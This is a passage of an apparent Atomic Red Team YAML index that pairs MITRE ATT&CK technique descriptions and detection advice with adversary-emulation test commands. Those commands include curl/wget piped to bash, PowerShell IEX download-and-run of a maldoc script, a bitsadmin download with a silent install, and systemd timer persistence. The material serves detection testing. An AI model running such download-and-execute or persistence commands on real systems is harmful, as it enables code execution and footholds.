        to another DLL, specified with (fully-qualified or relative) pathname (but
        without extension);\n    \n* via an NTFS junction or symlink program.exe.local
        with the fully-qualified or relative pathname of a directory containing the
        DLLs specified in the IMPORT directory or forwarded EXPORTs;\n    \n* via
        <code>&#x3c;file name=\"filename.extension\" loadFrom=\"fully-qualified or
        relative pathname\"&#x3e;</code> in an embedded or external \"application
        manifest\". The file name refers to an entry in the IMPORT directory or a
        forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute
        arbitrary code on a victim system. For example, malware may execute share
        modules to load additional components or features."
      external_references:
      - source_name: mitre-attack
        external_id: T1129
        url: https://attack.mitre.org/techniques/T1129
      - url: https://en.wikipedia.org/wiki/Microsoft_Windows_library_files
        description: Wikipedia. (2017, January 31). Microsoft Windows library files.
          Retrieved February 13, 2017.
        source_name: Wikipedia Windows Library Files
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-03-28T18:14:36.980Z'
      created: '2017-05-31T21:31:40.542Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "Monitoring DLL module loads may generate a significant amount
        of data and may not be directly useful for defense unless collected under
        specific circumstances, since benign use of Windows modules load functions
        are common and may be difficult to distinguish from malicious behavior. Legitimate
        software will likely only need to load routine, bundled DLL modules or Windows
        system DLLs such that deviation from known module loads may be suspicious.
        Limiting DLL module loads to <code>%SystemRoot%</code> and <code>%ProgramFiles%</code>
        directories will protect against module loads from unsafe paths. \n\nCorrelation
        of other events with behavior surrounding module loads using API monitoring
        and suspicious DLLs written to disk will provide additional context to an
        event that may assist in determining if it is due to malicious behavior."
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Module: Module Load'
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_version: '2.0'
    atomic_tests: []
  T1072:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1072
        url: https://attack.mitre.org/techniques/T1072
      - external_id: CAPEC-187
        source_name: capec
        url: https://capec.mitre.org/data/definitions/187.html
      description: |-
        Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).

        Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

        The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.
      name: Software Deployment Tools
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2020-12-11T17:00:00.938Z'
      created: '2017-05-31T21:30:57.201Z'
      x_mitre_is_subtechnique: false
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Process: Process Creation'
      x_mitre_detection: "Detection methods will vary depending on the type of third-party
        software or system and how it is typically used. \n\nThe same investigation
        process can be applied here as with other potentially malicious activities
        where the distribution vector is initially unknown but the resulting activity
        follows a discernible pattern. Analyze the process execution trees, historical
        activities from the third-party application (such as what types of files are
        usually pushed), and the resulting activities or events from the file/binary/script
        pushed to systems. \n\nOften these third-party applications will have logs
        of their own that can be collected and correlated with other data from the
        environment. Ensure that third-party application logs are on-boarded to the
        enterprise logging system and the logs are regularly reviewed. Audit software
        deployment logs and look for suspicious or unauthorized activity. A system
        not typically used to push software to clients that suddenly is used for such
        a task outside of a known admin function may be suspicious. Monitor account
        login activity on these applications to detect suspicious/abnormal usage.\n\nPerform
        application deployment at regular times so that irregular deployment activity
        stands out. Monitor process activity that does not correlate to known good
        software. Monitor account login activity on the deployment system."
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_remote_support: true
      x_mitre_contributors:
      - Shane Tully, @securitygypsy
      identifier: T1072
    atomic_tests:
    - name: Radmin Viewer Utility
      auto_generated_guid: b4988cad-6ed2-434d-ace5-ea2670782129
      description: 'An adversary may use Radmin Viewer Utility to remotely control
        Windows device, this will start the radmin console.

'
      supported_platforms:
      - windows
      input_arguments:
        radmin_installer:
          description: Radmin Viewer installer
          type: Path
          default: "%TEMP%\\RadminViewer.msi"
        radmin_exe:
          description: The radmin.exe executable from RadminViewer.msi
          type: Path
          default: "%PROGRAMFILES(x86)%/Radmin Viewer 3/Radmin.exe"
      dependencies:
      - description: 'Radmin Viewer Utility must be installed at specified location
          (#{radmin_exe})

'
        prereq_command: 'if not exist "#{radmin_exe}" (exit /b 1)

'
        get_prereq_command: |
          echo Downloading radmin installer
          bitsadmin /transfer myDownloadJob /download /priority normal "https://www.radmin.com/download/Radmin_Viewer_3.5.2.1_EN.msi" #{radmin_installer}
          msiexec /i "#{radmin_installer}" /qn
      executor:
        name: command_prompt
        elevation_required: true
        command: '"#{radmin_exe}"'
  T1153:
    technique:
      id: attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Source
      description: |-
        **This technique has been deprecated and should no longer be used.**

        The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>.**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]</code>. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)

        Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.
      external_references:
      - source_name: mitre-attack
        external_id: T1153
        url: https://attack.mitre.org/techniques/T1153
      - source_name: Source Manual
        url: https://ss64.com/bash/source.html
        description: ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-03-30T13:40:14.512Z'
      created: '2017-12-14T16:46:06.044Z'
      x_mitre_deprecated: true
      x_mitre_is_subtechnique: false
      x_mitre_remote_support: false
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_detection: Monitor for command shell execution of source and subsequent
        processes that are started as a result of being executed by a source command.
        Adversaries must also drop a file to disk in order to execute it with source,
        and these files can also detected by file monitoring.
      x_mitre_version: '2.0'
    atomic_tests: []
  T1569:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1569
        url: https://attack.mitre.org/techniques/T1569
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: System Services
      description: Adversaries may abuse system services or daemons to execute commands
        or programs. Adversaries can execute malicious content by interacting with
        or creating services. Many services are set to run at boot, which can aid
        in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)),
        but adversaries can also abuse services for one-time or temporary execution.
      id: attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-06-08T23:28:29.250Z'
      created: '2020-03-10T18:23:06.482Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      - root
      x_mitre_detection: Monitor for command line invocations of tools capable of
        modifying services that doesn’t correspond to normal usage patterns and known
        software, patch cycles, etc. Also monitor for changes to executables and other
        files associated with services. Changes to Windows services may also be reflected
        in the Registry.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Service: Service Creation'
      - 'File: File Modification'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_platforms:
      - Windows
      - macOS
    atomic_tests: []
  T1053.006:
    technique:
      id: attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21
      description: |-
        Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)

        Each <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.

        An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.
      name: Systemd Timers
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1053.006
        url: https://attack.mitre.org/techniques/T1053/006
      - source_name: archlinux Systemd Timers Aug 2020
        url: https://wiki.archlinux.org/index.php/Systemd/Timers
        description: archlinux. (2020, August 11). systemd/Timers. Retrieved October
          12, 2020.
      - source_name: 'Linux man-pages: systemd January 2014'
        url: http://man7.org/linux/man-pages/man1/systemd.1.html
        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
          Retrieved April 23, 2019.
      - description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux
          AUR Package Repository. Retrieved April 23, 2019.
        url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
        source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018
      - description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public
          Arch package compromise. Retrieved April 23, 2019.
        url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
        source_name: gist Arch package compromise 10JUL2018
      - description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved
          April 23, 2019.
        url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
        source_name: acroread package compromised Arch Linux Mail 8JUL2018
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-10-14T15:20:00.754Z'
      created: '2020-10-12T17:50:31.584Z'
      x_mitre_platforms:
      - Linux
      x_mitre_contributors:
      - SarathKumar Rajendran, Trimble Inc
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_detection: |-
        Systemd timer unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>~/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.

        Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: <code>systemctl list-timers –all</code>. Analyze the contents of corresponding <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.

        Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)
      x_mitre_permissions_required:
      - User
      - root
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1053.006
    atomic_tests:
    - name: Create Systemd Service and Timer
      auto_generated_guid: f4983098-bb13-44fb-9b2c-46149961807b
      description: "This test creates Systemd service and timer then starts and enables
        the Systemd timer \n"
      supported_platforms:
      - linux
      input_arguments:
        path_to_systemd_service:
          description: Path to systemd service unit file
          type: Path
          default: "/etc/systemd/system/art-timer.service"
        path_to_systemd_timer:
          description: Path to service timer file
          type: Path
          default: "/etc/systemd/system/art-timer.timer"
        systemd_service_name:
          description: Name of systemd service
          type: String
          default: art-timer.service
        systemd_timer_name:
          description: Name of systemd service timer
          type: String
          default: art-timer.timer
      executor:
        command: |
          echo "[Unit]" > #{path_to_systemd_service}
          echo "Description=Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_service}
          echo "[Service]" >> #{path_to_systemd_service}
          echo "Type=simple" >> #{path_to_systemd_service}
          echo "ExecStart=/bin/touch /tmp/art-systemd-timer-marker" >> #{path_to_systemd_service}
          echo "[Install]" >> #{path_to_systemd_service}
          echo "WantedBy=multi-user.target" >> #{path_to_systemd_service}
          echo "[Unit]" > #{path_to_systemd_timer}
          echo "Description=Executes Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_timer}
          echo "Requires=#{systemd_service_name}" >> #{path_to_systemd_timer}
          echo "[Timer]" >> #{path_to_systemd_timer}
          echo "Unit=#{systemd_service_name}" >> #{path_to_systemd_timer}
          echo "OnCalendar=*-*-* *:*:00" >> #{path_to_systemd_timer}
          echo "[Install]" >> #{path_to_systemd_timer}
          echo "WantedBy=timers.target" >> #{path_to_systemd_timer}
          systemctl start #{systemd_timer_name}
          systemctl enable #{systemd_timer_name}
          systemctl daemon-reload
        cleanup_command: |
          systemctl stop #{systemd_timer_name}
          systemctl disable #{systemd_timer_name}
          rm #{path_to_systemd_service}
          rm #{path_to_systemd_timer}
          systemctl daemon-reload
        name: bash
    - name: Create a user level transient systemd service and timer
      auto_generated_guid: 3de33f5b-62e5-4e63-a2a0-6fd8808c80ec
      description: "Schedule a user level transient task (will not survive a reboot)
        without having to create the .timer or .service files by using the systemd-run
        command. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if systemd-run exists on the machine

'
        prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else
          exit 1; fi;

'
        get_prereq_command: 'echo "Install systemd on the machine."; exit 1;

'
      executor:
        elevation_required: false
        command: 'systemd-run --user --unit=Atomic-Red-Team --on-calendar ''*:0/1''
          /bin/sh -c ''echo "$(date) $(whoami)" >>/tmp/log''

'
        cleanup_command: |
          systemctl --user stop Atomic-Red-Team.service
          systemctl --user stop Atomic-Red-Team.timer
          rm /tmp/log
        name: sh
    - name: Create a system level transient systemd service and timer
      auto_generated_guid: d3eda496-1fc0-49e9-aff5-3bec5da9fa22
      description: "Schedule a system level transient task (will not survive a reboot)
        without having to create the .timer or .service files by using the systemd-run
        command. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if systemd-run exists on the machine

'
        prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else
          exit 1; fi;

'
        get_prereq_command: 'echo "Install systemd on the machine."; exit 1;

'
      executor:
        elevation_required: true
        command: 'systemd-run --unit=Atomic-Red-Team --on-calendar ''*:0/1'' /bin/sh
          -c ''echo "$(date) $(whoami)" >>/tmp/log''

'
        cleanup_command: |
          systemctl stop Atomic-Red-Team.service
          systemctl stop Atomic-Red-Team.timer
          rm /tmp/log
        name: sh
  T1059.004:
    technique:
      id: attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56
      description: |-
        Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.

        Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

        Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.
      name: Unix Shell
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1059.004
        url: https://attack.mitre.org/techniques/T1059/004
      - source_name: DieNet Bash
        url: https://linux.die.net/man/1/bash
        description: die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12,
          2020.
      - source_name: Apple ZShell
        url: https://support.apple.com/HT208050
        description: Apple. (2020, January 28). Use zsh as the default shell on your
          Mac. Retrieved June 12, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-06-15T16:55:44.483Z'
      created: '2020-03-09T14:15:05.330Z'
      x_mitre_platforms:
      - macOS
      - Linux
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_detection: "Unix shell usage may be common on administrator, developer,
        or power user systems, depending on job function. If scripting is restricted
        for normal users, then any attempt to enable scripts running on a system would
        be considered suspicious. If scripts are not commonly used on a system, but
        enabled, scripts running out of cycle from patching or other administrator
        functions are suspicious. Scripts should be captured from the file system
        when possible to determine their actions and intent.\n\nScripts are likely
        to perform actions with various effects on a system that may generate events,
        depending on the types of monitoring used. Monitor processes and command-line
        arguments for script execution and subsequent behavior. Actions may be related
        to network and system information discovery, collection, or other scriptable
        post-compromise behaviors and could be used as indicators of detection leading
        back to the source script. "
      x_mitre_permissions_required:
      - User
      - root
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1059.004
    atomic_tests:
    - name: Create and Execute Bash Shell Script
      auto_generated_guid: 7e7ac3ed-f795-4fa5-b711-09d6fbe9b873
      description: 'Creates and executes a simple bash script.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        script_path:
          description: Script path
          type: Path
          default: "/tmp/art.sh"
      executor:
        command: |
          sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
          sh -c "echo 'ping -c 4 8.8.8.8' >> #{script_path}"
          chmod +x #{script_path}
          sh #{script_path}
        cleanup_command: 'rm #{script_path}

'
        name: sh
    - name: Command-Line Interface
      auto_generated_guid: d0c88567-803d-4dca-99b4-7ce65e7b257c
      description: |
        Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.

        Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
      supported_platforms:
      - macos
      - linux
      executor:
        command: |
          curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
          wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
        cleanup_command: 'rm /tmp/art-fish.txt

'
        name: sh
  T1204:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1204
        url: https://attack.mitre.org/techniques/T1204
      description: |-
        An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).

        While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).
      name: User Execution
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2021-04-20T16:34:09.236Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Instance: Instance Start'
      - 'Instance: Instance Creation'
      - 'Image: Image Creation'
      - 'Command: Command Execution'
      - 'Container: Container Start'
      - 'Container: Container Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Creation'
      - 'Process: Process Creation'
      x_mitre_detection: |-
        Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.

        Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      - IaaS
      - Containers
      x_mitre_contributors:
      - Oleg Skulkin, Group-IB
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1059.005:
    technique:
      created: '2020-03-09T14:29:51.508Z'
      modified: '2020-08-13T20:09:39.122Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1059.005
        url: https://attack.mitre.org/techniques/T1059/005
      - source_name: VB .NET Mar 2020
        url: https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/
        description: ".NET Team. (2020, March 11). Visual Basic support planned for
          .NET 5.0. Retrieved June 23, 2020."
      - source_name: VB Microsoft
        url: https://docs.microsoft.com/dotnet/visual-basic/
        description: Microsoft. (n.d.). Visual Basic documentation. Retrieved June
          23, 2020.
      - source_name: Microsoft VBA
        url: https://docs.microsoft.com/office/vba/api/overview/
        description: Microsoft. (2019, June 11). Office VBA Reference. Retrieved June
          23, 2020.
      - source_name: Wikipedia VBA
        url: https://en.wikipedia.org/wiki/Visual_Basic_for_Applications
        description: Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August
          13, 2020.
      - source_name: Microsoft VBScript
        url: https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)
        description: Microsoft. (2011, April 19). What Is VBScript?. Retrieved March
          28, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Visual Basic
      description: |-
        Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)

        Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)

        Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads.
      id: attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.

        Understanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Script: Script Execution'
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      identifier: T1059.005
    atomic_tests:
    - name: Visual Basic script execution to gather local computer information
      auto_generated_guid: 1620de42-160a-4fe5-bbaf-d3fef0181ce9
      description: |-
        Visual Basic execution test, execute vbscript via PowerShell.

        When successful, system information will be written to $env:TEMP\T1059.005.out.txt.
      supported_platforms:
      - windows
      input_arguments:
        vbscript:
          description: Path to sample script
          type: String
          default: PathToAtomicsFolder\T1059.005\src\sys_info.vbs
      dependency_executor_name: powershell
      dependencies:
      - description: Sample script must exist on disk at specified location (#{vbscript})
        prereq_command: 'if (Test-Path #{vbscript}) {exit 0} else {exit 1} '
        get_prereq_command: |-
          Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.005/src/sys_info.vbs" -OutFile "$env:TEMP\sys_info.vbs"
          New-Item -ItemType Directory (Split-Path #{vbscript}) -Force | Out-Null
          Copy-Item $env:TEMP\sys_info.vbs #{vbscript} -Force
      executor:
        command: 'cscript #{vbscript} > $env:TEMP\T1059.005.out.txt'
        cleanup_command: |-
          Remove-Item $env:TEMP\sys_info.vbs -ErrorAction Ignore
          Remove-Item $env:TEMP\T1059.005.out.txt -ErrorAction Ignore
        name: powershell
    - name: Encoded VBS code execution
      auto_generated_guid: e8209d5f-e42d-45e6-9c2f-633ac4f1eefa
      description: |
        This module takes an encoded VBS script and executes it from within a malicious document. By default, upon successful execution
        a message box will pop up displaying "ART T1059.005"

        A note regarding this module, due to the way that this module utilizes "ScriptControl" a 64bit version of Microsoft Office is required.
        You can validate this by opening WinWord -> File -> Account -> About Word
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'The 64-bit version of Microsoft Office must be installed

'
        prereq_command: |
          try {
            $wdApp = New-Object -COMObject "Word.Application"
            $path = $wdApp.Path
            Stop-Process -Name "winword"
            if ($path.contains("(x86)")) { exit 1 } else { exit 0 }
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word (64-bit)
          manually to meet this requirement"

'
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1059.005\src\T1059.005-macrocode.txt" -officeProduct "Word" -sub "Exec"
        cleanup_command: 'Get-WmiObject win32_process | Where-Object {$_.CommandLine
          -like "*mshta*"}  | % { "$(Stop-Process $_.ProcessID)" } | Out-Null

'
        name: powershell
    - name: Extract Memory via VBA
      auto_generated_guid: 8faff437-a114-4547-9a60-749652a03df6
      description: |
        This module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this
        we first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that
        memory location to a file stored in the $env:TEMP\atomic_t1059_005_test_output.bin.
      supported_platforms:
      - windows
      input_arguments:
        ms_product:
          description: Maldoc application Word
          type: String
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

'
      executor:
        command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\"
          -UseBasicParsing) \nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1059.005\\src\\T1059_005-macrocode.txt\"
          -officeProduct \"Word\" -sub \"Extract\"\n"
        cleanup_command: 'Remove-Item "$env:TEMP\atomic_t1059_005_test_output.bin"
          -ErrorAction Ignore

'
        name: powershell
  T1059.003:
    technique:
      created: '2020-03-09T14:12:31.196Z'
      modified: '2021-04-14T15:36:02.195Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      type: attack-pattern
      id: attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62
      description: "Adversaries may abuse the Windows command shell for execution.
